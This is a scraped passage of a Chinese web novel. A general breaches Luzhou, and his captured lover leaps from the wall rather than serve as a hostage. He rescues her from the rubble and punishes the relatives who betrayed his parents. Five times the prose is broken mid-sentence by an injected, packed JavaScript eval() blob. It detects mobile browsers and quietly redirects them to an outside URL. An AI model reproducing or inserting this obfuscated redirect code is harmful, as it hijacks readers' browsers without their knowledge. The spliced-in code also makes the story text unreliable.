仿佛地龙翻身,又似天神怒吼! 那扇由精铁包裹,重达万斤的巨大城门,在猛**的恐怖威力下,被炸得四分五裂!无数的碎片和木屑,夹杂着火焰和浓烟,向四周飞溅! 城门,破了! “将士们!随我杀进去!!” 在**的瞬间,陈平川已经挥舞战刀,下达了进攻的命令。 “杀!!” 身后的破虏军和破风骑,如同开闸的洪水,疯狂地涌向庐州城被炸开的大门! 城内的守军,本就惊魂未定,此刻看到陈平川的大军如天神下凡般杀过来,更是吓得魂飞魄散,斗志全无,纷纷扔下武器,四散奔逃。 李汶洛站在城楼上,看着陈平川兵临城下,双腿一软,一屁股瘫坐在了地上。 “完了……全完了……” “王上!王上别慌!我们还有……还有凤三娘!”身旁的徐佑,脸色同样惨白,但脑子还没糊涂,他尖叫着提醒道。 李汶洛如梦初醒,他连滚带爬地站起来,对着身边的亲兵嘶吼:“快!快把凤三娘那个**给我带上来!快!!” 很快,被铁链锁着,浑身是伤的凤三娘,被两个士兵粗暴地拖到了城头的垛口边。 此时,陈平川的大军已经冲到城门前面的区域,正在向城内席卷。 李汶洛深吸一口气,用尽全身的力气,朝着下方嘶吼: “陈平川何在!给本王停下!!” “你再敢往前一步,我就杀了她!!” 他抢过一把刀,死死地抵在凤三娘那白皙的脖颈上。刀锋锋利,已经划破了皮肤,渗出了一丝血迹。 城下的喊杀声,为之一顿。 正在指挥冲杀的陈平川,立即下令停止进攻,全员后撤。 他抬起了头,看到城墙上,那个被当做人质,脸色苍白,却依旧眼神倔强的身影时,他的瞳孔骤然一缩。 所有的士兵,都停了下来,将目光投向了城头,投向了他们的将军。 空气,在这一刻凝固了。 李汶洛看到这情景,心中大喜,他知道自己赌对了! 陈平川果然在乎这个女人! “陈平川!看到了吗?你的女人,现在就在我的手上!”李汶洛嚣张地大笑起来,“现在,我命令你,让你的人,全部放下武器!然后你一个人,走到城下来,跪在本王面前,磕一百个响头!否则,我就让她,血溅当场!” 城墙下,陈平川看着李汶洛那张丑恶的嘴脸,又看了看凤三娘。 他突然笑了。 那是一种冰冷的,不带任何感情的,让人毛骨悚然的笑。 “李汶洛,你是不是搞错了什么?” 他的声音不大,却清晰地传到了城墙上每个人的耳朵里。 “区区一个女人罢了。” “你以为,她能阻挡我一统天下的大业?你以为,我陈平川,会为了一个女人,放弃唾手可得的城池?” “你太天真了。” 他举起手中的刀,指向凤三娘,声音冷酷得像一块冰。 “有种,你就杀了她。” “现在就动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16359180|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手!我倒要看看,你杀了她之后,拿什么来威胁我。” 此话一出,不仅李汶洛愣住了,连城墙上的凤三娘,都愣住了。 但随后,她的嘴角露出一丝微笑。 对了……这才是我爱的男人,一个为了大业不拘小节的枭雄! 李汶洛也懵了。 这和剧本上写的不一样啊!陈平川不应该是投鼠忌器,乖乖就范吗? 他色厉内荏地喊道:“你……你别装了!我才不信你不在乎她!” 但他的心里,已经开始打鼓了。 万一陈平川说的是真的呢?万一他真的就是个冷血无情的枭雄呢? 毕竟,在这个时代,女人的命,不值钱。 就在李汶洛犹豫不决的时候,他身旁的徐佑盯着下方的陈平川,突然凑到他耳边,急促地说道: “王上!别信他!他在撒谎!您看他握着刀的手!” 李汶洛下意识地看去。 果然,他握着刀柄的手,正为颤抖! 陈平川在紧张!他在害怕! “哈哈哈!”李汶洛的信心,瞬间又回来了,“陈平川!继续演戏!你颤抖的手已经出卖了你!” “我数三声!你若再不投降,我就让她人头落地!” “三!” “二!” “一!” “等一下!”陈平川突然大喊一声,声音里带着一丝颤抖。 城墙上,李汶洛哈哈大笑:“陈平川,你果然在乎她!” 凤三娘看着下方那个熟悉又陌生的身影,看着他那双痛苦挣扎的眼睛,她突然释然了。 她不会让自己成为他的拖累,成为他一统天下路上的绊脚石。 她的嘴角,缓缓地勾起了一抹凄美而又决绝的笑容。 她看着陈平川,大声地喊道: “陈平川!还记得你答应过我,要满足我一个要求吗?那就是……不要管我,好好活下去,完成你救国救民的大业!” 然后,在所有人惊骇的目光中,她用尽全身的力气,猛地向后一撞,挣脱了李汶洛的控制! 转身毫不犹豫地,从数十丈高的城墙上,纵身一跃! 如同一只折翼的黑色蝴蝶,坠向了那冰冷的,由石头铺成的地面。 第367章 怒火焚城为红颜,劫波渡尽换余生 时间,在这一刻,仿佛被无限拉长。 陈平川的瞳孔,猛地收缩成一个危险的针尖。 “不——!!” 一声撕心裂肺的,完全不似人声的咆哮,从他的喉咙深处迸发而出! 他眼睁睁地看着那个黑色的身影,在空中划过一道绝望的弧线,迅速地坠落,再坠落…… 那个总是清冷孤傲,却会在他面前脸红的女人。 那个与他并肩作战,立下血誓的女人。 那个嘴上总嫌他笨,却会在他受伤时比谁都紧张的女人。 就这样,在他面前,香消玉殒。 一股前所未有的恐慌和剧痛,像决堤的洪水,瞬间淹没了他所有的理智。 城墙上,李汶洛也完全惊呆了。 他做梦也没想到,凤三娘竟然会如此刚烈,宁死也不愿成为他的筹码! 他失去了他唯一的,也是最后的救命稻草。 就在这全场死寂的一瞬间,陈平川那因极致的悲痛而扭曲的脸,猛地抬了起来。 那双眼睛里,不再有任何人类的情感,只剩下最原始,最纯粹的——毁灭! 他没有再看李汶洛一眼。 他只是缓缓地,抬起了自己的手,用那颤抖的,却又无比坚定的手指,指向了城墙上那个早已吓傻的身影。 他的声音,不再是咆哮,而是一种低沉的,却让在场的每一个人,都听得清清楚楚,都感到灵魂在战栗。 “开炮……” “把那块城墙,给我……轰平!!” “将军!”炮兵指挥官还想说什么。 “我让你开炮!!!”陈平川双赤红的眼睛,像一头择人而噬的凶兽,“听不懂吗?!!” “是!” 指挥官被他那骇人的模样吓得魂飞魄散,再也不敢有半分犹豫,猛地挥下了令旗! “开炮!开炮!所有火炮,目标正前方城楼!无差别覆盖!给老子往死里打!!” “轰!轰!轰!轰!轰!!” 比刚才猛烈十倍的炮火,瞬间爆发! 这一次,不再是试探,不再是压制,而是纯粹的,不计后果的,毁灭性的宣泄! 无数的炮弹,带着陈平川那无尽的怒火和悲痛,形成了一道钢铁的风暴,狠狠地撞向了李汶洛所在的那一段城墙! 地动山摇! 巨石崩裂! 那一段看似坚不可摧的城墙,在这样疯狂的炮火洗礼下,仅仅支撑了不到十息的时间,便发出了一声不堪重负的哀鸣。 裂纹,如同蛛网般,迅速蔓延。 紧接着,“轰隆”一声巨响,整段城墙,连同上面的城楼,以及李汶洛、徐佑和那些亲兵,在惊恐绝望的惨叫声中,轰然倒塌! 烟尘冲天而起,碎石如雨点般落下。 一个自封为王的枭雄,和他那所谓固若金汤的城池,就这样,被彻底地,从这个世界上抹去。 然而,陈平川没有看这一切。 在下达命令的瞬间,他就已经疯了一般,朝着凤三娘坠落的方向,冲了过去。 他的脑子里,一片空白。 他什么都听不见,什么都看不见,只有一个念头在疯狂地叫嚣:找到她!找到她! 不管死活! “三娘!三娘!!” 他冲到那片倒塌的废墟之下,不顾一切地用自己的双手,疯狂地挖掘着那些还带着温度的碎石。 锋利的石块,划破了他的手掌,鲜血淋漓,他却恍若未觉。 “将军!” “快来人!帮将军一起找!” 秦锋和石头也红着眼睛冲了过来,带着士兵们,一起加入了挖掘的行列。 他们徒手刨挖、用刀鞘撬砸……想尽一切办法,搬开那些沉重的石块。 时间,一分一秒地过去。 陈平川的心,也一点一点地沉入无底的深渊。 他怕,他真的怕。 怕挖出来的,是一具冰冷的,残缺不全的尸体。 就在他快要绝望的时候,石头那粗犷的声音,带着一丝不确定和狂喜,突然响起! “将军!快看!这里!” 陈平川猛地扑了过去。 只见在一堆碎石的缝隙下,露出了一角黑色的衣衫! “快!快把这块石头挪开!” 数名士兵合力,喊着号子,将一块数千斤重的巨石,缓缓地挪开。 巨石之下,一个身影,静静地躺在那里。 是凤三娘。 她浑身是血,昏迷不醒,但……但她的胸口,还有着微弱的起伏! 她还活着! 陈平川的眼泪,在这一刻,再也控制不住,夺眶而出。 他小心翼翼地,如同捧着一件稀世珍宝,将她从废墟中抱了出来。 奇迹! 这简直是天大的奇迹! 原来,凤三娘坠落的位置,恰好是城墙根下一棵枝叶繁茂的百年老树。茂密的枝叶,极大地缓冲了她下坠的力道。而在树下,又恰好堆着一堆不知是谁扔掉的,厚厚的稻草堆。 双重的缓冲,让她免于当场摔死的厄运。 而之后城墙的倒塌,那棵老树又替她挡住了大部分的冲击和碎石,让她只是被一些小石块砸中,受了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16359203|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些震荡和皮外伤,而没有被活埋。 仿佛冥冥之中,自有天意。 陈平川紧紧地抱着她,感受着她那微弱的呼吸和心跳,一颗悬到嗓子眼的心,终于落了回去。 他低下头,用自己的脸,轻轻地摩挲着她那沾满灰尘的脸颊。 “傻瓜……你这个傻瓜……”他喃喃自语,声音哽咽。 或许是他的呼唤起了作用,怀中的人儿,长长的睫毛,轻轻地颤动了一下,然后,缓缓地睁开了眼睛。 她那双清冷的眸子,此刻有些迷茫,她看着眼前这张近在咫尺的,写满了焦急、后怕和狂喜的脸,一时间有些反应不过来。 “我……没死?” “没死!”陈平川的声音,带着浓重的鼻音,“你没死!你这个傻女人,你想吓死我吗?!” 凤三娘看着他那双通红的眼睛,看着他脸上那两行清晰的泪痕,虚弱的脸上,突然绽放出了一抹绝美的笑容。 “你……你哭了……” 她的声音,轻得像一阵风,却清晰地传进了陈平川的耳朵里。 一个顶天立地的男人,一个杀伐果断的枭雄,此刻,在他心爱的女人面前,哭得像个孩子。 其实,陈平川现在的身体,确实也只是个大孩子。 陈平川没有反驳,也没有擦去眼泪。 他只是更紧地抱住了她,将自己的脸,深深地埋在她的颈窝里,仿佛要将她揉进自己的骨血之中。 “我以为……我以为我失去你了……” 千言万语,都化作了这一句带着哭腔的呢喃。 周围的士兵们,默默地看着这一幕,没有人出声,没有人打扰。他们的脸上,都露出了会心的,祝福的笑容。 他们的将军,是铁打的汉子,但也有柔情的一面。 这样有血有肉的将军,才更让他们敬佩,更让他们愿意誓死追随。 凤三娘缓缓地抬起手,轻轻地抚摸着陈平川的脸颊。 “笨蛋……”她笑着,眼角也渗出了泪花,“我答应过……要陪你一起看太平盛世……怎么会……这么轻易就**……” 陈平川抬起头,深深地看着她。 四目相对。 在这一片狼藉的废墟之上,在这一片未散的硝烟之中,所有的言语,都显得多余。 他低下头,吻住了那双微凉的唇。 凤三娘浑身一僵,但她没有躲闪,而是闭上了眼睛,笨拙地,热烈地回应着。 战争还在继续,天下还未平定。 但至少在这一刻,他们的世界里,只有彼此。 第368章 怀中美人膝下兵,霸主归来第一令 “主公!主公!” “大当家!大当家!” 铁牛、秦锋等人围上来,见到两人拥吻,顿时闭上了嘴,然后默契地纷纷退开。 铁牛还拦住了其他要冲过来的人,呵斥道:“看什么看!都散了,军师和大当家都没事!” 良久,两人分开。 陈平川看着怀中女子那羞红的脸颊,那迷离的眸光,心中那块悬了许久的巨石,终于彻底落了地。 他小心翼翼地将她打横抱起,动作轻柔得仿佛在捧着一件稀世珍宝。 “传军医!快!把最好的军医给我叫过来!”他对着身后的**吼。 “是!”亲兵飞也似的跑去传令。 陈平川抱着凤三娘,从废墟中站起身,环顾四周。 庐州城墙塌陷了大半,城门洞开,城内残余的守军早已没了斗志,不是跪地投降,就是四散奔逃。 他脸上的柔情被迅速收敛,取而代之的是运筹帷幄的统帅应有的冷峻。 “石头!” “末将在!”壮硕如山的石头立刻上前一步,声如洪钟。 “你率五百破虏军,立刻控制城中各处要道、府库、粮仓!但凡有敢顽抗者,杀无赦!” “是!” “秦锋!” “末将在!”秦锋擦了擦眼角,抱拳应道。 “你率破风骑入城,清剿残敌,维持城中秩序!传我将令,任何人不得骚扰百姓,不得抢掠民财,违令者,斩!” “末将领命!” 一道道命令,从陈平川口中清晰发出。 刚才还沉浸在儿女情长中的男人,转眼间便恢复了绝对的冷静和理智。 他将凤三娘交给快步赶来的铁牛,叮嘱他务必小心,自己则一步步向城内走去。 身后,是如潮水般涌入庐州城的精锐大军。 城内的百姓,早已被那惊天动地的炮火吓得躲在家中,瑟瑟发抖。 他们透过门缝,窗户,惊恐地看着这支装备精良、气势汹汹的军队。 他们不知道,这支军队的到来,对他们来说,究竟是福是祸。 乱世之中,城头变幻大王旗是常有的事。 每一次权力的更迭,对他们这些平头百姓而言,都可能是一场新的灾难。 然而,他们很快就发现,这支军队和他们见过的任何一支军队都不同。 士兵们虽然杀气腾腾,但军纪严明,只是迅速地接管城防,控制要地,对于街道两旁的民居,竟是秋毫无犯。 甚至有士兵看到慌乱中摔倒的老人,还会主动上前扶起。 陈平川走在庐州城的主街上。 他看着街道两旁那些紧闭的门窗,和门缝后那一双双惊恐而又好奇的眸子,心中百感交集。 这就是他要守护的百姓,这就是他要为之奋斗的天下。 他深吸一口气,朗声开口,声音传遍了街道。 “庐州城的父老乡亲们!我,陈平川,回来了!” “伪王李汶洛,倒行逆施,鱼肉百姓,现已被我诛杀!从今日起,庐州,由我陈平川接管!” “我向大家保证,我的军队,绝不拿百姓一针一线!城中商铺,明日即可照常开业!凡有作奸犯科,欺压良善者,皆可到府衙鸣冤!我必为大家做主!” 他的声音,清晰地传入了每一户百姓的耳中。 紧闭的门窗后面,一片寂静。 片刻之后,一扇门,被“吱呀”一声,小心翼翼地推开了一条缝。一个头发花白的老者,探出头来,胆怯地望着街上的军队。 “您……您真是陈大人?太好了,您终于回来了!” 老者激动得老泪纵横,扑通一声就跪了下去。 紧接着,第二扇,第三扇……越来越多的百姓,从家中走了出来,他们站在门口,远远地望着陈平川和他的大军,眼中虽然还有畏惧,但更多的,却是一种激动和期盼。 陈平川没有再多说什么。 行动,永远比言语更有力量。 他带人径直走向了那座刚刚经历了一场权力更迭的知府衙门。 接管一座城,只是开始。 接下来,还有很多事情,在等着他处理。 …… 庐州知府衙门,此刻已经换了主人。 原本属于李汶洛的亲兵卫队,死的死,降的降。 破虏军的士兵们手持武器,面无表情地守卫在衙门的每一个角落,森严的气氛,比李汶洛在时有过之而无不及。 衙门后院,一间收拾干净的厢房内,凤三娘静静地躺在床上。 军医已经为她处理好了伤口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369691|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从城墙上坠落,虽然有老树和稻草堆的双重缓冲,但巨大的冲击力还是让她多处骨折,内腑也受到了震荡。 再加上之前在地牢里受的穿骨之刑和各种伤势,若非她自幼习武,根基扎实,恐怕早已香消玉殒。 “将军,凤姑娘的伤势虽然凶险,但所幸没有伤及性命。小人已经用最好的金疮药为她敷上,骨折之处也已接好固定。只是她失血过多,元气大伤,需要长时间的静养,切不可再动武,更不能动气。” 年过半百的军医,擦着额头上豆大的汗珠,战战兢兢地对陈平川说道。 陈平川看着凤三娘那张没有一丝血色的脸,点了点头,声音低沉得吓人:“用最好的药,派最得力的人照顾。她若是有半点差池,我唯你是问。” “将军放心,小人……小人明白!”军医心中一凛,连忙躬身应道,几乎是逃也似的退了出去。 陈平川在床边坐下,静静地看着凤三娘的睡颜,伸手将她散落在脸颊的一缕乱发,轻轻拨到耳后。 他的手指,触碰到她冰凉的肌肤,心脏抽痛了一下。 这个傻女人…… 他轻轻握住她的手,放在唇边,低声呢喃:“好好休息,等你醒来,一切都结束了。” 说完,他站起身,脸上的温情瞬间褪去,重新变得坚硬而冰冷。 他走出房间,对守在门口的亲兵吩咐道:“任何人不得入内打扰,违令者,斩!” “是!” 陈平川大步流星地走向前堂。 知府衙门的大堂内,灯火通明。 秦锋、石头等一众高级将领已经在此等候。 看到陈平川进来,众人齐齐起身,抱拳行礼:“主公!” “都坐吧。” 陈平川走到主位上坐下,直接切入正题:“城内情况如何?” 秦锋出列,沉声汇报道:“回主公,城内残敌已基本肃清,投降者约有五千余人,已全部缴械看押。府库、粮仓、武库等要地均已派兵接管,正在清点中。城中百姓安稳,未发生骚乱。” 陈平川点了点头,对秦锋的办事效率很满意。 这时,石头瓮声瓮气地开口了,问出了一个所有人都关心的问题。 “主公,那五千多降兵,如何处置?” 第369章 戏精亲戚,花式求饶?抱歉,**! “老规矩。”陈平川淡淡地说道,“愿意加入我军的,打散编入各营,接受整训。不愿意的,就送去劳动改造营,什么时候想通了,什么时候再出来。” 对于这些只是听命行事的普通士兵,陈平川并不想过多杀戮。他们也是穷苦人出身,只是为了混口饭吃。只要加以引导,就是很好的兵源和劳动力。 “李汶洛和徐佑的尸体找到了吗?”陈平川问道。 “找到了,虽然尸体已经面目全非,但还是能分辨出来。”王奎回答。 陈平川点点头,语气没有任何波澜,“算是便宜他们了。” 提到李汶洛,大堂内的气氛瞬间冷了下来。所有人都想到了城墙上那惊心动魄的一幕,想到了悍然赴死的凤三娘。 “将军,还有一件事。”秦锋的脸色有些古怪,“我们在城中,抓到了一批人。他们自称是……是您的亲戚。” 陈平川端起茶杯的手,微微一顿。 他的眼神,瞬间冷了下来。 亲戚? 他当然知道秦锋说的是谁。 桃花村,陈家老宅的那些人。 那些为了区区一点金银,就毫不犹豫地出卖自己父母,将他们骗下山,送入虎口的“亲人”。 若不是秦锋提起来,他都差点忘了这帮家伙! “人呢?”他放下茶杯,声音里听不出喜怒。 “就关在衙门的大牢里。”秦锋答道。 “带上来。” “是!” 很快,一阵哭天抢地的哀嚎声,由远及近。 十几个身影,被如狼似虎的士兵们粗暴地推搡着,连滚带爬地被拖进了大堂。 为首的,正是陈平川的大伯陈仲文,三叔陈仲武,还有他们的婆娘刘氏和王氏,以及陈平娇、陈平香、陈平西等一众小辈。 这些人,一个个衣衫不整,满脸惊恐。一进大堂,看到高坐在主位上,一身戎装,面沉如水的陈平川,顿时吓得魂飞魄散,“噗通”一声,全都跪倒在地。 “平川!平川啊!我的好侄儿!你可算来了!”大伯陈仲文最先反应过来,他膝行几步,涕泪横流地哭喊道,“大伯可想死你了!我们都是被李汶洛那个天杀的给逼的啊!我们是被冤枉的!” “是啊是啊!”三叔陈仲武也磕头如捣蒜,“平川,我们可都是你的亲叔叔啊!打断骨头还连着筋呢!他用刀架在我们脖子上,逼我们写信骗二哥二嫂下山,我们也是没办法啊!” “平川,你可要为我们做主啊!”大伯母刘氏更是扯着嗓子嚎啕大哭,“我们都是一家人,你不能不管我们啊!” 王氏和那几个小辈,也跟着哭哭啼啼,一个劲地磕头求饶。 整个大堂,一时间充满了他们虚伪的哭喊和辩解。 秦锋和石头等人,看着这群人的丑恶嘴脸,脸上都露出了毫不掩饰的鄙夷和厌恶。 他们简直无法想象,世上竟有如此厚颜无耻之人。为了活命,竟然能把黑的说成白的,把所有的责任都推得一干二净。 陈平川就那么静静地坐在那里,面无表情地看着他们表演。 他没有说话,只是用那双深邃的眼睛,冷冷地扫过每一个人。 他的沉默,比任何愤怒的咆哮,都更让人感到恐惧。 渐渐地,陈仲文等人的哭声小了下去。他们被陈平川那冰冷的目光看得心里发毛,一个个噤若寒蝉,不敢再出声。 大堂内,陷入了一片死寂。 许久,陈平川才缓缓开口,他的声音不大,却像一把冰刀,刺入每个人的心里。 “说完了?” 陈仲文等人浑身一颤,不敢抬头。 “被逼的?”陈平川的嘴角,勾起一抹嘲讽的弧度,吩咐道:“来人,把人带上来!” 很快,两名士兵押着一个男人走了进来,正是王虎。 他一进大堂,看见陈平川,双腿一软就跪了下去,不住地磕头求饶:“将军饶命,小的什么都说!” “抬起头来。”陈平川声音冰冷,“告诉他们,李汶洛给了你们什么好处。” 王虎不敢不从,哆哆嗦嗦地指着陈仲文等人,大声道:“李汶洛给了他们一百两黄金,还许诺让他们当这庐州城的富家翁,他们才答应写信骗您父母下山的!” 此话一出,陈仲文等人脸色“唰”的一下,变得惨白。 “我……我们……”陈仲文张口结舌,冷汗瞬间浸湿了后背。 “为了区区一百两黄金,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369692|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们就把骨肉兄弟,亲手送进了火坑。” 陈平川命人把王虎押下去,他的声音依旧平淡,但那其中蕴含的怒火,却让整个大堂的温度都仿佛下降了几分。 “你们在写那封信的时候,可曾想过,他们是你们的亲人?” “你们在拿那些金子的时候,可曾想过,那是沾着你们亲人鲜血的卖命钱?” “你们还有脸,在我面前,提‘一家人’这三个字?” 陈平川的每一句话,都像一记重锤,狠狠砸在陈仲文等人的心上。 他们被问得哑口无言,只能不住地发抖。 “平川……我们……我们知道错了……我们真的知道错了……”陈仲文彻底慌了,他拼命地磕着头,额头很快就磕出了血,“看在我们是你的长辈,看在你爷爷奶奶的份上,你就饶了我们这一次吧!我们再也不敢了!” “饶了你们?”陈平川笑了,那笑容里,充满了无尽的冰冷和失望,“如果今天,我没有及时赶到,如果我爹娘和三娘,真的死在了李汶洛的手里,谁又来饶了他们?” “你们不是知道错了,而是知道自己要**!” “我……”陈仲文张了张嘴,却一个字也说不出来。 “来人!”陈平川不等他再说下去,猛地一拍桌子,厉声喝道。 “在!”两名亲兵立刻上前。 “把他们给我拖出去!”陈平川的声音,冷得像数九寒冬的风:“斩首示众!” 陈仲文等人一听,顿时吓得魂不附体。 “不要啊!平川!不要杀我们!” “我们是你亲大伯!亲三叔啊!你不能这么做!” “杀了我,你就是不孝!要遭天打雷劈的!”刘氏更是撒起泼来,尖声叫骂。 然而,无论他们如何哭喊挣扎,身强力壮的士兵们还是毫不留情地将他们一个个拖了起来,就像拖着几条死狗。 就在他们即将被拖出大堂的时候,一个苍老而又颤抖的声音,突然从门口传来。 “儿啊……住手!” 众人回头望去,只见陈平川的父亲陈仲和,在母亲罗氏的搀扶下,正站在大堂门口。 他们的脸色,同样苍白,眼中充满了复杂的情绪。 第370章 死罪可免,活罪难逃!逐出家族! 看到父母的出现,陈平川的眉头,不易察觉地皱了一下。 他最担心的事情,还是发生了。 “爹,娘,你们怎么来了?” “我们不放心你……”罗氏脸色虽然苍白,但眼神却比丈夫坚定得多。 她看了一眼被士兵架住,如同丧家之犬的陈仲文等人,眼中闪过一丝厌恶和痛苦。 而陈仲和,此刻看着自己的亲兄弟那副凄惨的模样,脸上写满了不忍和挣扎。 “儿啊……”陈仲和嘴唇哆嗦着,艰难地开口,“他们……他们虽然做错了事,但……但终究是你的亲大伯,亲三叔啊……” “爹!”陈平川的声音陡然提高了几分,“他们把你们骗下山,送给李汶洛当人质的时候,可曾想过你们是他们的亲兄弟,亲爹娘?” 陈仲和被噎得说不出话来,一张老脸涨得通红,只是一个劲地搓着手。 陈仲文等人一看到救星来了,立刻又来了精神,拼命地挣扎起来。 “二哥!二哥救我啊!”陈仲文哭喊道,“我们真不是故意的!我们也是一时糊涂啊!” “二嫂!你快跟平川说说情!我们都是一家人啊!”陈仲武也朝着罗氏哀求。 罗氏的脸色铁青,她虽然也恨这帮人,但看着丈夫那为难的样子,心里也堵得慌。 她叹口气,转头对陈平川说:“平川,你爹的意思是……能不能,看在……看在你爷爷奶奶的面子上,给他们留条活路?” 她到底还是心软了,但看着丈夫痛苦的模样,让她做到真正的铁石心肠,她也办不到。 再说,那是丈夫的亲兄弟。如果陈平川真的当着他们的面,把这些人全杀了,她怕自己的丈夫会一辈子都活在阴影里。 更何况,她也不愿意自己的儿子,为了这群不值当的人,背上一个“残害亲族”的骂名,脏了手,不值得。 陈平川沉默了。 他看着父亲那张写满哀求的脸,看着母亲眼中复杂的神色,心里不由得暗叹一声),他早该趁父母没来之前,将这群人推出去斩首,现在反倒有些棘手了。 他可以不顾及陈仲文等人的死活,但他不能不顾及自己父母的感受。 尤其是父亲陈仲和,一个老实巴交,重情重义了一辈子的人。让他亲眼看着自己的兄弟死在自己儿子手上,这对他来说,太过残忍。 大堂内的气氛,一时间凝重到了极点。 秦锋和石头等人,都紧张地看着陈平川,等待着他的决定。 他们知道,这是一个两难的选择。 一边是公道和军法,一边是人伦和孝道。 许久,陈平川缓缓地吐出了一口气。 他再次看向跪在地上的陈仲文等人,那眼神,已经没有了刚才的杀气,只剩下无尽的冰冷和漠然。 “死罪可免。” 他淡淡地吐出了四个字。 陈仲文等人闻言,顿时喜出望外,以为自己逃过一劫,脸上露出了劫后余生的狂喜。 陈仲和也松了一大口气,感激地看着自己的儿子。 然而,陈平川接下来的话,却让他们如坠冰窟。 “活罪难逃。” 陈平川站起身,一步步走到他们面前,居高临下地看着他们,冷冷说道:“来人!拖下去,每人重责二十大板!” “另外,我陈平川,今日当着我爹娘的面,也当着所有人的面,宣布一件事。” “从今日起,你们这两脉,被庐州桃花村陈氏家族除名!” “从此以后,你们不再是我的伯父、叔父,我也不再是你们的侄儿。你们的所作所为,不配做我陈平川的亲人!我们之间,恩断义绝,再无任何瓜葛!” 他的声音,冰冷决绝,不带丝毫转圜的余地,彻底斩断了那本就脆弱不堪的血脉联系。 陈仲和的身体晃了晃,脸色变得煞白。 他想说什么,却被身旁的罗氏一把拉住。罗氏心里明白,儿子这么做,已经是最大的让步了。 陈仲文等人,则彻底傻眼了。 杖打二十? 断绝关系? 杖打二十他们咬咬牙能挺住,可是断绝关系……这意味着什么,他们比谁都清楚。 在这个时代,被家族除名,是比死还要难受的惩罚。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374590|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意味着他们将成为无根的浮萍,走到哪里都会被人戳脊梁骨。 更重要的是,他们失去了陈平川这个最大的靠山!他们原本还指望着,靠着这层亲戚关系,以后能跟着鸡犬升天,作威作福。 现在,一切都成了泡影! “不……不行啊!平川!”陈仲文第一个尖叫起来,“你不能这么做!我们是一家人啊!你断了关系,我们以后怎么活啊?” “是啊,平川,你这样做,是要被天下人戳脊梁骨的!”王氏也顾不上害怕了,尖着嗓子喊道。 “闭嘴!”陈平川一声怒喝,如同平地惊雷,吓得他们瞬间噤声,“你们还有脸跟我提天下人?你们做出卖主求荣,出卖亲人的龌龊事时,怎么不怕天下人戳脊梁骨?” “我陈平川行事,但求问心无愧!你们这群猪狗不如的东西,也配来教训我?” 他转过身,不再看他们一眼,冷冷地对身后的士兵下令:“把他们身上的金银细软,全部搜出来,充入军饷。杖打二十之后,将他们所有人,都给我关进大牢!没有我的命令,任何人不得探视,不得放出!” “是!” 士兵们立刻上前,粗暴地在陈仲文等人身上摸索起来。很快,一包包的金银,一錠錠的黄金,就被搜了出来,叮叮当当地扔在地上。 这些,正是李汶洛收买他们时,给他们的“卖命钱”。 “我的金子!我的钱啊!”刘氏和王氏看着那些金银,心疼得如同刀割,扑上去就想抢回来,却被士兵一脚踹开。 “拖下去!” 陈平川厌恶地挥了挥手。 士兵们不再客气,架起哭天抢地的陈仲文等人,就往外拖。 “陈平川!你这个不孝子!你不得好死!” “你会遭报应的!我们做鬼也不会放过你!” 没一会,恶毒的咒骂声,变成了哭爹喊娘的求饶声。 “啊!轻点,疼死我了!” “我是女人,求你们轻点打!” “爹娘,我要**了!” “爷爷,奶奶,救命啊,我们要被陈平川打**!” …… 第371章 我的地盘,只能有一个声音! 大堂内,重新恢复了安静。 